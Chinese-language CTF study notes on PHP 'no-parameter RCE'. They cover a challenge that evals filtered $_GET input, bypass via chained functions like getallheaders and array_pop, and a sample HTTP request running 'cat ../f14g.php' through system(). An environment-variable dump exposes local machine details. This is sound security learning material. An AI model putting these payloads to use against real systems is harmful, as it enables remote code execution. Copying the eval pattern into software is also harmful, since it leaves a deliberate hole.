文章

无参数RCE

参考:RCE篇之无参数rce - 学安全的小白 - 博客园 (cnblogs.com)

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

基础代码

`<?php`

`highlight_file(__FILE__);`

`if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {`

  `if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){`

​    `eval($_GET['star']);`

  `}`

`}`

简单来说就是对传入的参数正则替换,只要是数字、字母、下划线都会被其换成空

\W==>匹配字母、数字、下划线 等价于A-Za-z0-9_ (?R)?==>递归整个匹配模式

a(b(c()));可以使用,但是`a('b')`或者`a('b','c')`这种含有参数的都不能使用,也不能使用a(b).所以我们要使用无参数的函数进行文件读取或者命令执行

还要考虑的问题是,参数怎么传进去

1.getallheaders()&apache_request_headers

getallheaders()是后者的别称,该函数只能在apache环境下使用

作用:获取全部http请求头信息,以数组的形式返回,可使用var_dump打印出来

2.配合的函数

数组操作类:

current():返回数组当前元素的值

next():数组内部指针指向下一个

prev():数组内部指针指向上一个

reset():数组内部指针指向第一个

each():返回当前元素的键名和键值,并将内部指针向前移动 高版本的php可能已经废除了

end():返回数组的最后一个

implode:建一个一维数组转化成字符串

array_values():返回数组的键值,不返回键名 创建数组需要$a=array("Name"=>"Peter","Age"=>"41","Country"=>"USA");

array_pop():删除数组中的最后一个元素,并返回该元素

array_reverse():

pos():输出数组中的当前元素的值

由于eval、system等函数需要字符串作为参数,所以使用getallheaders()后需要相关函数转换成字符串

文件读取类:

hightlite_file()

shouw_source

readfile()

字符串

strrev():反转给定字符串

3.get_defined_vars()

getallheaders的替换,无限制

返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

<?php
$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

// 打印 PHP 解释程序的路径(如果 PHP 作为 CGI 使用的话)
// 例如:/usr/local/bin/php
echo $arr["_"];

// 打印命令行参数(如果有的话)
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值
print_r(array_keys(get_defined_vars()));
?>

输出:

D:\WORK\php-8.3.4-Win32-vs16-x64\php.exe D:\WORK\workstations\PHP\2.php
Array
(
    [0] => 1
    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 5
    [5] => 8
)

Warning: Undefined array key "_" in D:\WORK\workstations\PHP\2.php on line 11
Array
(
    [0] => D:\WORK\workstations\PHP\2.php
)
Array
(
    [ALLUSERSPROFILE] => C:\ProgramData
    [APPCODE_VM_OPTIONS] => D:\jetbra\vmoptions\appcode.vmoptions
    [APPDATA] => C:\Users\29210\AppData\Roaming
    [CLION_VM_OPTIONS] => D:\jetbra\vmoptions\clion.vmoptions
    [CommonProgramFiles] => C:\Program Files\Common Files
    [CommonProgramFiles(x86)] => C:\Program Files (x86)\Common Files
    [CommonProgramW6432] => C:\Program Files\Common Files
    [COMPUTERNAME] => BLAME
    [ComSpec] => C:\WINDOWS\system32\cmd.exe
    [DATAGRIP_VM_OPTIONS] => D:\jetbra\vmoptions\datagrip.vmoptions
    [DATASPELL_VM_OPTIONS] => D:\jetbra\vmoptions\dataspell.vmoptions
    [DEVECOSTUDIO_VM_OPTIONS] => D:\jetbra\vmoptions\devecostudio.vmoptions
    [DriverData] => C:\Windows\System32\Drivers\DriverData
    [EFC_7144] => 1
    [FPS_BROWSER_APP_PROFILE_STRING] => Internet Explorer
    [FPS_BROWSER_USER_PROFILE_STRING] => Default
    [GATEWAY_VM_OPTIONS] => D:\jetbra\vmoptions\gateway.vmoptions
    [GOLAND_VM_OPTIONS] => D:\jetbra\vmoptions\goland.vmoptions
    [HOMEDRIVE] => C:
    [HOMEPATH] => \Users\29210
    [IDEA_INITIAL_DIRECTORY] => C:\Users\29210\OneDrive\桌面
    [IDEA_VM_OPTIONS] => D:\jetbra\vmoptions\idea.vmoptions
    [IGCCSVC_DB] => AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAFF4shdcu3keVHrcD+xdrtwQAAAACAAAAAAAQZgAAAAEAACAAAABZOYDF9s9uJVaEzgp2vfJ/IsyRtMjBKxx6hKUyIGH5uwAAAAAOgAAAAAIAACAAAABpA2/84SajgKBcfZu4s8c3BfYDi5n0eef/r+drcCkxnWAAAAA1JPUfc05KYxYCAHqN3BGUZo7zYdUVWbcV5C+7UhGcfv/6JYtEy+CTeRATYlcFv3Vy3gUQkoQRGcDGzYkoh5/rKoMzGCHNtQFTIjxXxKRv/+iyAgoxU0JzILtaua+vEkFAAAAATUs1PCs/qGm+FFrdGLrVkFyacz4Yd7lkZELI0XTzWjANFlGpH/aMsEFmMR+eG7YFsCZL/k13bXUwZCsLX0+mpQ==
    [JAVA_HOME] => D:\WORK\
    [JETBRAINSCLIENT_VM_OPTIONS] => D:\jetbra\vmoptions\jetbrainsclient.vmoptions
    [JETBRAINS_CLIENT_VM_OPTIONS] => D:\jetbra\vmoptions\jetbrains_client.vmoptions
    [LOCALAPPDATA] => C:\Users\29210\AppData\Local
    [LOGONSERVER] => \\BLAME
    [NUMBER_OF_PROCESSORS] => 16
    [OneDrive] => C:\Users\29210\OneDrive
    [OneDriveConsumer] => C:\Users\29210\OneDrive
    [OS] => Windows_NT
    [Path] => D:\WORK\JDK21\bin;C:\Program Files\Common Files\Oracle\Java\javapath;D:\WORK\Python\Scripts\;D:\WORK\Python\;D:\Vmware\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;D:\Unzip\Bandizip\;D:\WORK\Microsoft VS Code\bin;D:\WORK\php-8.3.4-Win32-vs16-x64;D:\WORK\anaconda;D:\WORK\anaconda\Scripts;D:\WORK\anaconda\Library\mingw-w64\bin;D:\WORK\anaconda\Library\usr\bin;D:\WORK\anaconda\Library\bin;D:\Nodejs\;C:\Program Files\Docker\Docker\resources\bin;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Users\29210\AppData\Local\Microsoft\WindowsApps;;D:\WORK\PyCharm Community Edition 2024.1.4\bin;;D:\WORK\IntelliJ IDEA Community Edition 2023.3.4\bin;;D:\Tools\新建文件夹\Nmap;C:\Users\29210\AppData\Local\Programs\Microsoft VS Code\bin;D:\WORK\PhpStorm 2024.1.4\bin;;C:\Users\29210\AppData\Roaming\npm;D:\WORK\javaida\IntelliJ IDEA 2024.1.3\bin;;D:\WORK\PyCharm 2024.1.4\bin;
    [PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.PYW
    [PhpStorm] => D:\WORK\PhpStorm 2024.1.4\bin;
    [PHPSTORM_VM_OPTIONS] => D:\jetbra\vmoptions\phpstorm.vmoptions
    [PROCESSOR_ARCHITECTURE] => AMD64
    [PROCESSOR_IDENTIFIER] => Intel64 Family 6 Model 186 Stepping 2, GenuineIntel
    [PROCESSOR_LEVEL] => 6
    [PROCESSOR_REVISION] => ba02
    [ProgramData] => C:\ProgramData
    [ProgramFiles] => C:\Program Files
    [ProgramFiles(x86)] => C:\Program Files (x86)
    [ProgramW6432] => C:\Program Files
    [PSModulePath] => C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
    [PT8HOME] => D:\Cisco Packet Tracer 8.2.2
    [PUBLIC] => C:\Users\Public
    [PyCharm] => D:\WORK\PyCharm 2024.1.4\bin;
    [PYCHARM_VM_OPTIONS] => D:\jetbra\vmoptions\pycharm.vmoptions
    [RIDER_VM_OPTIONS] => D:\jetbra\vmoptions\rider.vmoptions
    [RUBYMINE_VM_OPTIONS] => D:\jetbra\vmoptions\rubymine.vmoptions
    [SESSIONNAME] => Console
    [STUDIO_VM_OPTIONS] => D:\jetbra\vmoptions\studio.vmoptions
    [SystemDrive] => C:
    [SystemRoot] => C:\WINDOWS
    [TEMP] => C:\Users\29210\AppData\Local\Temp
    [TERM] => xterm
    [TMP] => C:\Users\29210\AppData\Local\Temp
    [USERDOMAIN] => BLAME
    [USERDOMAIN_ROAMINGPROFILE] => BLAME
    [USERNAME] => 29210
    [USERPROFILE] => C:\Users\29210
    [WEBIDE_VM_OPTIONS] => D:\jetbra\vmoptions\webide.vmoptions
    [WEBSTORM_VM_OPTIONS] => D:\jetbra\vmoptions\webstorm.vmoptions
    [windir] => C:\WINDOWS
    [XiuMaster_v1_button_hotkey] => 16777232
    [ZES_ENABLE_SYSMAN] => 1
    [PHP_SELF] => D:\WORK\workstations\PHP\2.php
    [SCRIPT_NAME] => D:\WORK\workstations\PHP\2.php
    [SCRIPT_FILENAME] => D:\WORK\workstations\PHP\2.php
    [PATH_TRANSLATED] => D:\WORK\workstations\PHP\2.php
    [DOCUMENT_ROOT] => 
    [REQUEST_TIME_FLOAT] => 1731328253.109
    [REQUEST_TIME] => 1731328253
    [argv] => Array
        (
            [0] => D:\WORK\workstations\PHP\2.php
        )

    [argc] => 1
)
Array
(
    [0] => _GET
    [1] => _POST
    [2] => _COOKIE
    [3] => _FILES
    [4] => argv
    [5] => argc
    [6] => _SERVER
    [7] => b
    [8] => arr
)

进程已结束,退出代码为 0

4.scandir()

返回指定目录的文件和目录,可以配合getcwd()

当使用print_r(scandir(getcwd()));会返回以下内容

5.localconv()

返回包含本地数字及货币格式信息的数组

[decimal_point] - 小数点字符
[thousands_sep] - 千位分隔符
[int_curr_symbol] - 货币符号 (例如:USD)
[currency_symbol] - 货币符号 (例如:$)
[mon_decimal_point] - 货币小数点字符
[mon_thousands_sep] - 货币千位分隔符
[positive_sign] - 正值字符
[negative_sign] - 负值字符
[int_frac_digits] - 国际通用小数位
[frac_digits] - 本地通用小数位
[p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0)
[p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0)
[n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0)
[n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0)
[p_sign_posn] - 格式化选项:
0 - 把数量和货币符号写在圆括号内
1 - 在数量和货币符号之前加上 + 号
2 - 在数量和货币符号之后加上 + 号
3 - 直接在货币符号之前加上 + 号
4 - 直接在货币符号之后加上 + 号

可以使用返回的第一个点作为代表当前根目录的点

题目

1.2023newstarctf-R!!C!!E!!

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
} 

payload:

为什么参数处理还要一个eval

如果只是一个:eval(array_pop(array_values(getallheaders())))==>system('ls'); 所以还得再加一层才能把语句之形成PHP代码

2.第七届浙江省大学生网络与信息安全竞赛


GET /?code=system(array_pop(array_values(getallheaders()))); HTTP/1.1
a:cat ../f14g.php
Host: 10.1.101.31
Connection: close
Content-Type:aaa
Content-Length: 14

adsfsfdghfghgj

License:  CC BY 4.0